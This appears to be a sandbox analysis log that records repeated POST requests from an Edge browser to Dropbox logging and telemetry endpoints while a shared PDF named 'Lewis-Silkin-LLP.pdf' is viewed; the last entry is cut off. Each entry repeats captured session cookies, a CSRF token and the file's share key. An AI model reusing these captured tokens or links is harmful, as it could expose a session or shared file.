__Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /alternate_wtl_browser_performance_info HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 690sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 583sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 5965sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 41576sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /alternate_wtl HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1869sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1215sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/telemetry HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 858sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/ux_analytics HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1326sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKS7kHp4wLDaSe9pkAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/ux_analytics HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1162sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoEG3a5mjat0xY5qqAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/ux_analytics HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1062sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUHwTpIl5AIiszsAmAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/ux_analytics HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1062sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB5DkVRF9up3gFJYxAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/ux_analytics HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1063sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1LdxMORGBTlQBBrgAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 2317sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJX-Dropbox-Uid: -1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonx-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /2/pap_event_logging/log_events HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1596sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJX-Dropbox-Uid: -1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonx-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /log/ux_analytics HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1064sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUxRTqS7w4AGgoH6bAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; 